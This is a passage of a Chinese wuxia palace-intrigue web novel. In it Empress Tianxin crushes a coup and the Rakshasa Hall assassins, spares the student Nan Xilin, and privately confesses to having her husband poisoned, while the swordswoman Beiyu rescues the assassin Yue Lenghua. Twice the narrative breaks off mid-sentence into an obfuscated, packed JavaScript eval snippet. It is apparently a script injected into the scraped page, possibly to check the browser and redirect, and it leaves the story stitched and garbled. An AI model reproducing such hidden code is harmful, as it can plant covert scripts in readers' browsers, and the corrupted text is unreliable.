天心女帝是假公主这件事,其实无所谓,因为南境重臣郭麒佑都跳出来造反了,也只有口头的言论,拿不出物证人证。可见,天心女帝早就把一切抹干净了。 真正麻烦的,是她的真实身份—东海曌国的皇嗣。 星宫从前统治着镜悬大陆,现在也是最强的存在。 东海曌国,兴于推翻星宫,最终也亡于星宫。一旦星宫知道,辰氏血脉重新成了一国之主,它们肯定会有所行动。 罗刹堂这个天下最神秘的杀手组织,听命辰氏皇族多年,知道许多秘密,所以,天心女帝对罗刹堂态度暧昧。 他和北羽知道天心女帝是假公主没有关系,知道了天心女帝其实姓辰,那才是真惹祸上身。 38. 卷二·南境演武 星辰崭亮,夜色美如画,无数人倒下成了尸体,无数生命在一瞬间消散。 辰雪雪遥望殿外的厮杀,天心女帝握着她的手,“雪雪,辰氏只剩下我们这一丁点血脉,不容闪失。” “可是姑姑,我想保护你,师父远在黑水狱,我只有你一个亲人。”辰雪雪低头看着她的剑。 天心女帝捋了捋她额边的碎发,眼神温柔,“再等等,等你真正长大的那天,再保护我跟哥哥。不知不觉间,十五年过去了,很快,哥哥就能从黑水狱出来,我们一家人就可以团聚了。” 辰雪雪:“师父真的能出来吗?” “一定能。”天心女帝坚定道。 “我会代表南境同意哥哥出狱,北境那边有哥哥的心腹操持,轩宸帝也会同意,东海自不必说。 只要有一半的人点头,剩下的星宫、学宫、无极宫即便反对,也无可奈何。” 棺柩里的北羽突然听不懂了。 黑水狱,她是知道的,从前星宫关犯人的地方,后来成了镜悬大陆各国关押重犯的地方。 假如某个人犯的罪,祸及多国,又不能杀死他,就会被送去黑水狱终生监禁。 但她没听说过,进了黑水狱还能再出来的。 北羽于是问南戏霖。 但南戏霖也不知道,因为他也没有专门打探过黑水狱。 韩誉年步入大殿,神情庄严,手中金盘盛着一颗人头,身上的黑铁甲血迹斑斑,“启禀陛下,逆贼郭麒佑已经伏诛。” “呈上来。” 韩誉年来到天心女帝面前,单膝下跪。 宫变至今,天心女帝的白衣依旧不染纤尘,连半滴血也没沾上,所有想杀她的人,没有一个能走到她面前。 看着郭麒佑死不瞑目的首级,天心女帝满意点头,嫣然一笑道:“郭麒佑,黄泉之下,别忘了告诉那些鬼,你是死在我辰阕夜手上的。” “把他的脑袋保存好,明日拿到早朝上。” “臣遵旨。” “罗刹堂三百杀手,已经死了一半,风花雪月四个堂主也都身受重伤,正在负隅顽抗,陛下想如何处置他们?” “……罗刹堂的精锐今夜应该都来了,全部杀掉实在可惜,剩下的人先活捉关起来。” 天心女帝思量道:“罗刹堂的总堂主荣烬雪,忠于辰氏多年,死的可惜,就把高姗雪和谷深月这对鸳鸯杀了,给他报仇。” “阎娑风留个活口,朕暂时不想跟无极宫翻脸。月冷花也留着,毕竟他有白发剑圣跟魔教教主两个姐夫,投鼠忌器嘛。 不过,这两个人的武功必须废掉,勿留后患。” “还有,把兰啸西叫进来。” 韩誉年一愣,“陛下,他正在跟阎娑风对战。” “朕说了,阎娑风可以活,只要在他逃出南境前,废了他武功即可。马上让兰啸西进来,朕有话跟你们讲。” 韩誉年不敢耽误,即刻将兰啸西唤进来,双双跪在天心女帝身前。 “兰啸西站到殿门口。誉年来朕身边来。” 见人都到位,天心女帝轻拢袖摆,换了个更舒适的姿势,沉声道:“出来吧,躲在别人的棺材里,不觉得冒犯逝者吗?” 北羽提剑出棺,“你怎么发现我的。” “星宫的大衍星诀朕都能识破,何况学宫的术法。棺材里还有一个呢。”天心女帝神情冷冽。 南戏霖爬出棺材,“冒犯了陛下故人,实在抱歉,我们不是故意的。” 北羽将他护在身后,看了看堵住殿门的白发老者,又看了看天心女帝,“丑话说前头,我可不怕打架,也不怕杀人。” “好大的口气啊。” 天心女帝歪嘴一笑。 “纵然你天赋异禀,也不过才十七岁,入羽化境也就几个月。兰尊者的剑法是比不上仙剑术,但他四十年羽化境的醇厚内力,绝对稳压你。外面更有上千禁军在,你哪来的底气,跟朕这么讲话。” 北羽拔出残仙剑,剑气丛生。 辰雪雪腰间的定海剑,兰啸西手中的随心剑,皆颤栗不已。 北羽眼眸深晦,“我的底气就是我自己。” 天心女帝笑了,“不愧是扬名镜悬的天下第一少年,不愧是握住了十名剑之首残仙剑的女人,朕欣赏你的强大,没有要杀你的意思。你随便去哪都行,但他必须留下。” 天心女帝指向南戏霖,南戏霖浑身一震。 北羽怔了下,“我绝不会抛弃我的朋友!” “朕不是个滥杀无辜的人,北羽,知道站在你身后的少年是谁吗?” “我的朋友,学宫的弟子。” “对,不过……他还有一个身份,南境叛臣白鹤忠的儿子。” 此言如一道惊雷当空劈下,把北羽劈得外酥里嫩。 她稍微侧过脸,问道:“真的吗?” 南戏霖沉默不语。 北羽咽了咽口水,警惕着殿门口的兰尊者,朝天心女帝道:“你说他是白鹤忠的儿子,他就是吗!” 天心女帝:“十年前,白党谋乱之时,白鹤忠的妻子林徹羊写了一封信,给她的老朋友海刀夫子,托夫子照顾她唯一的儿子。 后来,白家被抄,海刀夫子前来偷偷带走了她儿子。” “当年朕睁一只眼闭一眼,并未追究此事。可谁知,海刀夫子竟然把白鹤忠的儿子光明正大带在身边,还要培养成继承人,做下一任学宫之主。这不是存心为难朕吗。” 南戏霖扯了扯嘴角,“你查出我买了白家的消息。” “是。若非你去神机阁买了白鹤忠的消息,朕还真不敢确定,你就是他的儿子呢。”天心女帝眯起眼,“说起来,你是自掘坟墓。” 那时,她觉得白戈平庸翻不出风浪,才给了学宫一个面子。 后来,她也曾怀疑过海刀夫子的义子就是白鹤忠的儿子,但派去的探子回报,南戏霖跟白戈并不相似,她就把这件事抛之脑后了。 谁料,这件事终究杀了个回马枪。 南戏霖垂首,不知在想些什么,北羽只是更用力地握紧了残仙剑。 天心女帝留意到她的动作,道:“北羽,你的太上忘情剑法只悟到第二式,还没有到天下无敌的地步呢。” 北羽神经紧绷。 天心女帝说的对,她的太上忘情剑法尚未大成,还做不到天下无敌。 这里是南境,南境的皇帝铁了心要南戏霖死,她有九条命也拦不住。 北羽不自觉咬紧牙关,之前哪怕面对罗刹堂最强的杀手,她也觉得总有转机,但现在,似乎完全陷入绝境了。 “天心帝。” 一直沉默的南戏霖忽然开口,在场人的目光都投向他。 死到临头的人,会说些什么呢? “你下令抄白家的时候,是要全部人死吗?包括仆人吗?” 天心女帝蹙眉,不明白他为什么这么问,“朕从不杀无辜之人。白鹤忠谋逆,他的至亲必须死,近亲也必须死,余下的,倒不至于丢脑袋。” “我懂了。” 南戏霖看向韩誉年,韩誉年也看向他。 天心女帝失去耐心,挥手下令,“把他给朕……” “等等!” 北羽打断她,向前一步,收起了剑。 “天心帝,你杀南戏霖,是怕他将来成为学宫之主后对付你,是吗?” 天心女帝不置可否。 北羽抓住南戏霖的手,无畏无惧地看着她:“我活了十七年,其中有七年,是跟南戏霖朝夕相处度过的,在我的心里,他不仅是我的朋友,更是我的家人,是我的兄弟。 如果今天你命人杀死他,那么将来我练成太上忘情剑法后的第一件事,就是来南境杀你。” “而且我不会一个人来。” “我还有三个朋友,他们跟我一样,把南戏霖当作家人,他们都很优秀,都会成为羽化高手,甚至成为剑圣。 我们四个人会一起杀进皇宫,不惜一切代价,杀死你,只因为你,让我们失去了南戏霖,失去了生命的一部分。” 此言一出,辰雪雪,韩誉年,兰啸西三人皆将锋刃对准北羽,眼神冰冷。 天心女帝皱起眉头。 南戏霖死死咬住嘴唇,双目猩红,硕大泪珠一粒一粒往地面砸,北羽挡在他身前,仿佛千山倾倒也不会退让半分。 局面一时僵持。 “……我不会报仇的……” 南戏霖哽咽开口,北羽震惊回头。 “我已经没有了爹娘,我不想再失去我的朋友,我的养父……我不想失去现在拥有的一切。 即便,我爹娘九泉之下恨我,我……也不会报仇的。” 他无比哀伤地望着天心女帝和韩誉年,流下了两行清泪。 良久,天心女帝缓缓开口:“你们走吧,记得初九来比武。” 北羽深吸一口气,拉起南戏霖跑出大殿,生怕慢一点天心女帝就后悔了。 大殿内,韩誉年和辰雪雪几乎同时开口。 “陛下!此子不可信!” “姑姑!他不可信!” 天心女帝闭上眼,揉了揉额角,“小点声,今晚够吵的了。” 她挥挥手,兰啸西退出去关上了殿门。 “昔年,乌去云练成太上忘情剑法后,有多无敌,韩誉年你见识过的。北羽的天资比乌去云更好,到时候她铁了心要杀朕,绝对没人能拦住,除非……” 天心女帝顿了顿,没有说下去,只道:“朕不过是暂时放过南戏霖,等将来哥哥出狱了,再从长计议。” ……… 南境皇宫外。 嫌南戏霖轻功差的北羽,背着他狂奔在夜色下。 冷风呼啸刮过二人的脸,南戏霖忽然喊着让北羽停住。 “你疯了!我必须快点把你送出乾元城!” “我自己也可以离开,你赶紧回去找月冷花!一旦月冷花武功被废,他或许躲到鬼都不知道的地方,或者被仇家杀死,你的计划就落空了。” “管不了那么多了!你的命最重要!” “可你的事也重要!” 南戏霖掐了她一下,北羽尖叫一声,被迫停下来。 南戏霖握住北羽的胳膊,郑重道,“我虽然武功不济,但逃跑的能力还是有的。你听我的,回去找到月冷花,把当年的事问清楚。白发剑圣的心结,是压在你心上的一块石头,我不能看你被压一辈子。” 北羽打掉他的手,“不行,万一天心女帝派追兵来呢。” “那万一月冷花死了呢?你忍心看白发剑圣自我封闭一生吗?”南戏霖很懂得说服北羽,“咱们现在已经离开皇宫了,我有能力藏起来。” 北羽纠结起来,南戏霖趁热打铁,“我会往城西藏身,你可以沿着我留下的标记找到我。那个标记只有我们五个人懂,就算有追兵,他们也抓不到我。” “那……你一定要藏好,假如你有个三长两短,我……” “行了,少咒我,快去找月冷花。” 北羽略作思忖,撕下衣角遮住脸,扯下一边棚子的破布裹在身上,伪装后匆匆赶回皇宫。 …… 龙栖殿外,俨然成了人间炼狱,尸堆如山,残肢断臂满地零落。 谷深月的红衣早已渗满血,她捂住胸口,不断呕血,伤势极重。 高姗雪扶着她,以剑撑地。 戴着银丝手套的贺尊者,冷冷注视她们。 “你们已经是强弩之末,再硬撑下去,只会死得更惨,不如放下武器,我给你们一个痛快。” 谷深月:“我呸!去你爹的痛快!死老头子,老到头发都白了,还要为天心帝卖命,够贱的!” 贺尊者冷哼一声。 谷深月看了眼夜空,稍稍侧脸细声道:“雪儿,他们布的阵法快破了,你别管我了,快冲出去。你比我强,能走掉。” 高姗雪身体一颤,“小月,别说胡话,要活一起活,要死一起死。我为你争取片刻时间,你抓紧调息,我们最后拼一把!” 贺尊者挪开视线,这二女也太肆无忌惮了吧,“高姗雪,你再出剑,就真的要力竭身亡了。” “姓贺的,你未免太瞧不起我了。这一剑之后,我不仅不会死,还会为我身旁的心上人,杀出一条血路。” 高姗雪看向身旁的谷深月,相视一眼,胜过千言万语。 …… 另一边的月冷花白衣染血,对面站着兰啸西。 “兰尊者,一别数年,不想今日再次相见,竟是你死我活。” 月光下,兰啸西的白发泛着银光,“月公子,若当年尊姐死后,你能离开罗刹堂,那你将会成为江湖上受人尊敬的剑客,甚至剑圣。” “可惜,你却选择留在罗刹堂,一误再误,以至于今日惨淡收场。” 月冷花:“那是很多年前的事了。往事不堪回首,也许我错了,姐姐也错了。我们姐弟此生的仇与恨,一半因为你的主子,一半因为斐翠然。” “既然我杀不了辰阕夜,拦不了辰骸罂,那我将去杀剩下的那个人。” 兰啸西一声叹息,“月公子,陛下虽不要你的命,但却要我废去你的武功,你杀不死斐翠然的。何况,即便你全盛状态下,也不会是他的对手。” “月公子,放下仇恨,隐姓埋名过普通人的日子吧。” 月冷花低头看着染血的长剑,“我放不下,也不会放下。兰尊者,今夜不是你废掉我,就是我杀掉你。” 兰啸西闻言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她怎么跑到天心女帝的男宠窝里了! “这里除了你们,还有其他人吗?” “没了,没了!我跟哥哥不受宠又位分低,身边的宫人都跑光了,葳蕤轩就我们两个住,平时连鸟都不往这里飞。” 北羽松了一口气,扯下面巾,那就好,快捂死她了。 男子看见她的脸,整个人魂飞九天,连自己姓什么都忘了。 “带上你哥哥,跟我们进屋。” “哦,好的、好的。” 月冷花一进屋就坐下疗伤调息,北羽看着他,过了半晌,他不解道:“你瞪着我作甚?” “前辈,我折腾一番救了你,你都不问问我是谁?” “乾元城愿意出手救我的高手,只有一个人,血杏花已经转达了你的话,羽姑娘。” 北羽扫了一眼左边鹌鹑似的男子,道:“出门在外的,前辈喊我小曲就行。” 月冷花:“曲姑娘,眼下不是谈话的时候,等风波过去,你我再聊往事如何?” “前辈,我追了你一年,你就用这句话敷衍我吗。” 月冷花轻撇了她一眼,内心并不情愿跟她提过去的事。 在他看来,北羽是代表白发剑圣乌去云来的,而他讨厌乌去云。 “我姐姐从始至终只爱过曲姑娘师父一人,至于她那个所谓的夫君,只是个幌子罢了。” 北羽长舒一口气,她的努力总算没有白费,只要让师父亲耳听到这句话,心结准能解开大半。 “前辈,我来帮你疗伤。” 她抬手将内力输入月冷花体内,接着追问:“那师娘为什么要自尽?我师父当时天下无敌,无论怎样,都能护住她。” 比起欺骗,真正击垮乌去云的,应是月桃花的自刎。 “这就说来话长了……” 然后,月冷花没有说。 北羽明白他是在吊着她,这位北境第一杀手显然是个心思复杂的人。 “曲姑娘,你怎么找到我们罗刹堂踪迹的?” “……在神机阁买的。” “什么时候买到的?” 这回换北羽不说话了,她总不能告诉月冷花,是你的好朋友风无霜把你卖了。 月冷花:“曲姑娘,我希望你跟我说实话。今夜,罗刹堂损失惨重,恐怕以后将一蹶不振,四分五裂。我好歹是北境分堂主,有责任查清楚,是哪一环出了差错。” 北羽一听要给她扣帽子,当即不乐意了。 “前辈,杀手也得讲道理啊,罗刹堂帮天机老人堵杀我两回,我都没说什么呢。” 月冷花噎住,挽颜道:“我们也是迫不得已。罗刹堂跟神机阁都听命辰氏,神机阁又是天下第一情报组织,罗刹堂想要瞒住外界刺杀天心帝,必须先过神机阁这关。” 连神机阁都是辰氏的势力,这东海皇族一脉,真是百足之虫死而不僵啊。 北羽立马反应过来,冷笑道:“所以,你们就帮着天机老人抓我,可惜,老头子死在我手上了。由此看来,是我破坏了罗刹堂的计划。” 月冷花摇摇头,“神机阁内部也分派系,罗刹堂不止跟天机老人做了交易,即便天机老人死了,我们也不该这么快就暴露。” “今夜宫变,天心帝明显早有部署。 在血杏花告诉我,曲姑娘找到了罗刹堂踪迹的时候,我跟其他三位堂主,就隐约察觉我们暴露了。 但箭在弦上,不得不发,今夜,我们终究来了。” 北羽凝眸,“你们明知会死,还来?” “困于牢笼,受人钳制,死与不死,有何区别?” 月冷花苦笑。 “罗刹堂里的绝大多数人,一生下来就被迫成为杀手,然后一代接一代,子子孙孙永远活在暗影与血腥中。” “可笑的是,哪怕到了今天,我们依然不知道罗刹堂这么多年来替辰氏卖命的真正原因。 总堂主荣烬雪死之前,只肯告诉我们,天心帝辰阕夜是他的主子之一,而我们身上的蛊毒受控于天心帝的哥哥辰骸罂。” “我们到底有怎样的先祖?我们的先祖和辰氏先祖究竟是什么关系?这些谜团,仍旧没有解开。” 那实在凄惨了,北羽叹了口气,道:“大概三个月前,风无霜告诉我,你在乾元城。她只说了这些。” 长久的死寂。 “原来……如此……” 月冷花的脸,苍白得像一张脆弱的纸。 39. 卷二·南境演武 一场谋划许久的宫变刺杀,落下帷幕,辰阕夜又胜了一次。 过去的三十多年,除了最初沦落民间的那几年,她一直在胜,不然,她也当不上皇帝。 御案的参汤腾腾冒着热气。 韩誉年放轻脚步,柔声道:“陛下。” “讲。” “罗刹堂一百三十个精锐杀手已经被关入地牢,等候陛下发落。” “高姗雪和谷深月重伤贺尊者,逃出了皇宫。韩尊者追击阎娑风时,遭到无极宫的伏击跟丢了。月冷花被一个神秘人救走,兰尊者说,此人武功极强,必是羽化境高手。 另外,此夜伤亡甚多,折损了三分之二的将士。” …… 辰阕夜端起参汤舀了一勺,吹了吹,“人老了就是不中用,兰、韩、贺三个老废物,朕吩咐的事,他们竟然一件也没办到。” 韩誉年低下头,“陛下息怒,龙体为重。” 辰阕夜才懒得为无用之人浪费心情。 罗刹堂本是辰氏最锋利的一把刀,培养出这么强大的一群人,不知要花多少年,费多少心思。 本来这批人她哥哥出狱后,立即要用。 现在倒好,只剩虾兵蟹将了。 “找到阎娑风,告诉他上门女婿不好当,今夜之事罗刹堂已经付出了代价,只要他愿意回来稳住罗刹堂不起内乱,他还是罗刹堂的最高首领。” “高姗雪、谷深月、月冷花这三个人不要再消耗人力去寻了,没有蛊毒解药,他们迟早全部断气。” 罗刹堂叛乱早晚会发生,辰氏控制这些杀手的手段太极端了,久压之下必起群愤,她以前就劝过哥哥,只是他不听。 相较起来,她更在乎郭麒佑造反一事。 辰阕夜向韩誉年招招手。 韩誉年走上前去,辰阕夜盯着他看了一会,“你长白头了。” “……臣已经不年轻了。” 辰阕夜笑道:“你年轻的时候,仅是神龙卫的一个小小校尉,成日无所事事,泡在乾元城的酒肆里面喝酒。 而你的好兄弟白鹤忠却已经受到太德帝赏识,被委以重任。” “今夜造反的郭麒佑则最喜欢跟在白鹤忠和你的屁股后面。你们三个曾经是很好的朋友。” 韩誉年心念微动,鬓边的白发随着主人一起颤抖。 “陛下也说了,那是曾经的事。” 过往的青葱美好,如今只剩死亡衰老了。 辰阕夜轻轻挑眉,“是啊,都过去了。那时候,我还不如你,只是桃公主身边的侍女。桃公主身体柔弱,性格温和,甚至有些懦弱,经常受其他皇子欺负,连带着我也不好过。” “现在咱们都好过了。你成了南境的战神,是威震天下的名将,而朕成了万人之上的皇帝。 可我还总惦记桃公主,想着她唤我阿梨的模样。你呢,会想起白鹤忠吗?” 韩誉年终于等到了这个问题。 当皇帝的都是吃人不吐骨头,辰阕夜更恐怖,她吃完人,还得骂一句不好吃。 今夜郭麒佑谋反,无疑挑动了辰阕夜多疑的神经。 有时候,韩誉年简直无法想象,一个辰阕夜就谋夺了南境江山,等她哥哥辰骸罂出了黑水狱,兄妹二人联起手该多可怕。 想来镜悬大陆改姓辰,仅是时间问题。 “臣做噩梦时,见过白鹤忠的脸。”韩誉年道。 “噩梦?只做噩梦吗?” “是,臣甚少做梦,一旦做梦,便只做噩梦。” 辰阕夜微微颔首,“也对。当年你抢着去抄白府,连一条狗都没有放过,白府的冤魂是该去找你。“ “砍郭麒佑的脑袋,比砍白鹤忠的脑袋轻松多了吧?” 多要命的一句话啊。 韩誉年波澜不惊道:“都不轻松,他们很强,但是逆臣以下犯上,忠臣提剑相护,是天经地义的事。” 辰阕夜勉强满意,起身拍了下他的肩膀,“还是你识趣。再过两个时辰,天就亮了,别回将军府了,去偏殿歇息,之后,随朕上早朝。” 韩誉年跪道:“谢陛下隆恩。” 他退下后,辰骸夜将盛着参汤的玉碗摔了个粉碎,宫人们吓得齐齐跪地叩首。 “都下去,传忠义侯觐见。” ………… 乾元城,东宫。 公孙泽站在屋檐下,平淡地望着夜空中的星辰,冬日的冷风拂动披风上的兽毛,侍从道,“泽少爷,宫中派了批人,去到郭将军和沈大人的府邸抄家。” “唉。看来这一步棋输了。” “泽少爷,陛下那边会不会查到我们这里。” 公孙泽面不改色,“兵是郭麒佑调的,罗刹堂是沈从晔藏的,跟公孙氏有什么关系,这件事以后别再提了。” 侍从点头,“属下知道了。” 屋内传来一声呼唤,“阿泽,你在外面干什么呢?” “在看月亮,殿下。” 公孙泽示意侍从离开。 郭麒佑和罗刹堂能杀了天心帝最好,失败了也不要紧,只要太子在,南境的将来就是属于他们的。 天心帝早年经历颇多,身体一直不好,韩誉年征战四方,旧伤累累,这二人顶多再活个十几年,到时只剩一个辰雪雪,何足为惧。 公孙泽推开屋门,见欧阳寂正在收笔,忙过去读他新写的词。 谁叹光阴轻度,梦里几回留驻。回首尘缘皆似故。故人零落,一去知几度。 旧游那处堪寻,青衫又惹尘侵。浮生一枕残梦苦。年年花谢去,春深谁与诉。 “殿下何故作此伤感之词?”公孙泽道。 欧阳寂轻叹一口气,“你知道寒菊宴过后,紧接着是什么日子吗?” 公孙泽摇摇头。 “是我大哥出生的日子。”欧阳泽苦笑道,“无论是在南境,还是在南蛮,都不会有人再提起这个日子,就连我这个亲弟弟,也碍于母皇,不敢去提。” 公孙泽从小陪欧阳寂长大,这也是第一次听欧阳寂那位死去多年的南蛮世子。 “大哥比我大一岁半,自从我记事起,我就跟在他身后。他继承了父亲的英勇,七岁就能拉开一石的硬弓,骑着小马跟父亲狩猎,常猎狐狸给母皇,猎兔子给我。他也继承了母皇的聪慧,背书练字永远比我快三倍。” “大哥是整个草原最惹眼的存在,人人都视他为将来的大君,不说父亲和母皇,就是照顾我们的阿姆娜木兮、常冉儿都更喜欢他。” “那时,我最大的梦想就是成为像他一样的大孩子。” 欧阳寂的眼睛闪着光亮,那些记忆都是美好柔软的,他有哥哥保护,父亲宠爱,母皇也怜惜他。 “六岁那年先帝病重,母皇想离开草原,回乾元城探亲,本来,她要带我和哥哥一起走,但父亲不肯,其他诸王也不肯,于是,母皇就带了我一个人走。” “临走之前,她把自己从宫中带来的贴身侍女常冉儿,给了父亲,要求父亲将常冉儿放在侧阏氏的帐篷里。” “到了乾元城后,我很想念草原,想念父亲、哥哥、阿姆、常冉儿,想念我的小红马,我跟母皇闹着说要回去,她总让我再等等。 等了一年又一年,母皇登基称帝,我也终于听到了来自草原的消息。” 说到这里,欧阳寂面容上的幸福之情迅速消散,整个人伤感起来。 公孙泽忍不住将手搭在他肩上,他勉强对公孙泽一笑。 “当年,母皇在乾元城争夺帝位的消息传回草原后,引起动荡,父亲写了很多信给母皇,但她一封也没回。 阿姆写信给我,说父亲每天都会一个人骑马去望莹坡,因为他就是在那里送走了我们,他很后悔让母皇离开,整个人消瘦大圈。” “父亲深爱母皇,没有别的女人,只有常冉儿随身侍奉他左右,但父亲并没有宠幸她,一次都没有进过她的帐篷。 终于在母皇称帝后的不久,父亲病倒了,非常严重。我的叔叔趁机杀了他,夺走王位,拿大哥威胁我母皇,索要城池。” “但是,母皇根本不受他的威胁,或者说,根本不在乎。她派韩誉年率军出征,一战收回许多失地。 叔叔害怕了,想讲和,母皇却不满意他提出的条件。闹到最后,大哥死了,常冉儿倒是被母皇要了回来,封了忠义侯。” 这些事公孙泽就比较清楚了。 自从天心帝封常冉儿做忠义侯,恩赏有加,就有不少人谣传,是常冉儿奉命毒死了南蛮的归勒王。 因为只有归勒王死了,他愚蠢的弟弟才会成为草原的大君,带领蛮族的勇士们在战场上一败涂地,输给南境。 公孙泽也这般认为。 以天心帝的性格手段,完全做得出这样的安排。 她不可能去爱什么男人,她爱的只会是权势,她不会做什么王后阏氏,她要的是指点江山,名垂千古。 公孙泽不忠于天心帝,但他由衷敬佩她。 纵览镜悬大陆史册,从和亲女变成一国之帝的唯有她,挽救了南境内忧外患局面的也是她。 她不可能是曾经深宫中饱受欺凌的九公主欧阳桃。 但她究竟是谁,公孙泽不知道。 郭麒佑说她是九公主在宫外买下的戏子。 如果这是真的,他只能感叹一句,金鳞岂是池中物,一遇风云便化龙。 天生的帝王运,无人与之争锋。 ………… “世间之事,变幻莫测,在躺进棺材之前,没人知道自己最终的命运,自己的成就有多大。冉儿,你做侍女的时候,肯定想不到还有封侯的一日吧。” 华丽空荡的寝宫中,辰阕夜卧在贵妃榻上,怀里抱着白玉瓷罐。 一想到罐里装的是桃公主的骨灰,软凳上的忠义侯常冉儿,就有种难以言说的复杂情绪。 她恭敬道:“微臣是仰仗陛下龙恩,才有今日。若非陛下相护,微臣早就沦为蛮族炽澹王的姬妾,蹉跎一生。” 辰阕夜:“把你的官话咽到肚子里去,我是想起桃公主,才叫你来的。还记得我们第一次见面的时候吗?” 再借常冉儿十个胆子,她也不敢在天心帝面前提起从前的事,只能委婉道:“寒夜风雪交加,公主偶遇陛下,将您带回宫中。” “哪有这么轻描淡写,当时我发高热快死了,公主路过救了我,找了好几个太医给我治病。然后,我就留在宫中,与你一起陪伴公主,一晃就是六年。” 常冉儿睫羽颤抖,眼前浮现出桃公主带着银月面具的脸,一晃眼,这个天生富贵也天生不幸的女孩,都香消玉殒这么多年了。 常冉儿陷入遥远的记忆中。 那年,蛮族使臣来求娶公主,太德帝将各个公主的八字画像送去,蛮族大祭司选中了桃公主。 桃公主不愿离乡远嫁野蛮之地,几次哭求太德帝,太德帝却毫无怜子之心。离宫之前,桃公主就心力交瘁病倒了。 纵然她悉心照顾,无微不至,但桃公主还是死在送嫁途中。 她记得桃公主临死前握着辰阕夜的手,说,阿梨,我恨父皇,恨他不爱我,送我和亲,我恨兄弟姐妹们,恨他们因为我脸上的疤痕嫌恶挤兑我。 为什么偏偏是我,从小到大,为什么总是我倒霉,要是……他们都陪我死,那就好了。 很明显,辰阕夜记住了桃公主死前的遗言。 辰阕夜看着常冉儿沉默的面孔,“你是哑巴吗?只知道看我自言自语。” 常冉儿试探道:“桃公主死了,这对于已经到达蛮族边疆的我们,是一个巨大噩耗。护亲将军白鹤忠一筹莫展,陛下主动找到他,表示愿意代替桃公主联姻。” 辰阕夜点点头,常冉儿松了一口气,继续往下讲。 “微臣记得,您跟白鹤忠说,蛮族看上的是桃公主命格身份,而非她容貌,太德帝就算再送一个女儿,蛮族也不会满意。 桃公主为掩疤痕,常戴面具,您熟悉公主,身形又与她相仿,模仿公主得心应手。 兹事体大,白鹤忠无法抉择,一边传信回皇宫,一边让您躺在床上伪装公主应付蛮族的使者,不出您所料,太德帝同意了这个方法。 嫁入蛮族后,您很快生了孩子,稳住地位。” 讲到这里,常冉儿真的不敢说了,因为今天正是辰阕夜长子出生的日子。 她还记得,那夜辰阕夜痛苦生产的模样。 已经虚弱到极点的辰阕夜,死死攥着她的手,告诉她,如果自己因为生孩子死了,就把活着的孩子掐死陪葬。 “明儿是一个帮我解决了困境的孩子,他聪明勇敢,像拓跋勒一样神武,长相也像。” 辰阕夜摩挲着白玉瓷罐,“拓跋勒是蛮族百年来称得上第一英雄的人物,是草原上的雄鹰,有着蓬勃的野心,人人打心底敬佩他这位大君。” “他对我挺好的,我看得出他是真心喜欢我。他后来对你也不错吧?” 常冉儿的心皱缩,脸色却愈发平静,她越动容,越不能叫辰阕夜看出来。 “归勒王是一个大英雄,也是一个好丈夫,他只爱陛下一个女人。” 辰阕夜嗤笑一声,斜睨着她,“自古英雄难过美人关,可是美人也难过英雄关呀,你难道对拓跋勒没有半点心动?不用撒谎,我认识你十几年了,你一撒谎手就抖。” 常冉儿低头,小声道:“是有一点。” 辰阕夜:“那你还替我给他下毒呢?” 常冉儿的头更低了,“……当南蛮王的侧阏氏,还是当一国侯爵,很好选。” 辰阕夜笑了,“冉儿,别害怕,我总归是信任你的。从皇宫到蛮族,我们相依为命了十四年,有些事,也只有你能跟我聊一聊。” “跟你说句心里话,我不想杀拓跋勒,夫妻一场,又有了两个孩子,总归有点情分。” “但我不得不杀了他。 谁让他那么优秀,既是个好大君,又懂带兵打仗,只要他活着,我就不可能在短短几年内收拾好蛮族,稳定大局。 我前十几年过得太惨了,必须狠一点,才能站稳脚跟。” 常冉儿:“多亏陛下英明神武,南境方有今日的繁荣昌盛。” “南境今朝安宁,再过个十几年可就说不准了。忠义侯,你是看着太子长大的,他的性子如何?” 听辰阕夜换了称呼,压在常冉儿心间的重石卸下。 她身为臣子忠心耿耿,不怕面对帝王,就怕那些敏感的陈年旧事,再度被提起。 她思索一番,谨慎道:“太子幼时体弱,喜欢依赖身边的人,到了乾元城后,便醉心诗词歌赋,常有悲态。” “然而,微臣以为太子到底是陛下的孩子,骨子里流着陛下的血,他的所思所想,不可能仅限于风花雪月。” 辰阕夜闻言蹙眉,“寂儿小时候身体不好,性子也软,但他越长大,朕越觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些话酸气冲天,北羽忍不住笑了,“我在北境也听说过,天心帝的后宫有一位仙子下凡般的宠侍,堪称南境第一美男子。” 学宫曾有弟子去过南境,机缘巧合下见过这位第一美男子,宣称其貌不在玄北离之下。 玄北离知道自己被拿去跟皇帝的宠侍比之后,气得跳脚,险些上门去揍那个弟子,最终是她把人拦下的。 “那就是忠义侯的外甥。”兰常侍撅起嘴,忽然,他反应过来,“呀!大侠你是北境人呢!” 北羽懊恼闭眼,她这张嘴啊! “才不是呢,我是星宫的弟子。”北羽嘴硬道,扭头去看屏风后的月冷花。 鸳鸯戏水的屏风后,空无一人。 …… 北羽沉默一瞬,问兰常侍,“是我眼花了吗?我的同伙在哪里?” “啊!大侠,你的同伴不见了!” 兰常侍不可思议地看了一圈屋内。 北羽后知后觉,什么别往宫外跑,分明是月冷花怕出宫后甩不掉她,故意把她往宫里引! 天杀的月冷花,她居然相信了一个杀手的鬼话! 现在可好,他趁她不备,溜之大吉,她还不能大张旗鼓在后宫找他。 祸不单行,就在此时,外面传来动静。 “圣女殿下!这可是后宫,您不能擅闯啊!”一个尖锐的嗓音道。 “我们是奉了陛下旨意查刺客,快点把这个院子围起来!”韩飞鸿道。 真是屋漏偏逢连夜雨,辰雪雪怎么找过来了! 难道是月冷花刚才逃跑的时候,暴露了行踪? 北羽欲哭无泪,她叫臭杀手坑惨了。 今天要是被逮到,外界肯定会编排出她夜闯后宫,调戏天心女帝宠侍的谣言,圣剑山和学宫的脸往哪搁啊! 兰常侍赶紧道:“大侠,你快躲进柜子里,外面的人交给我。” 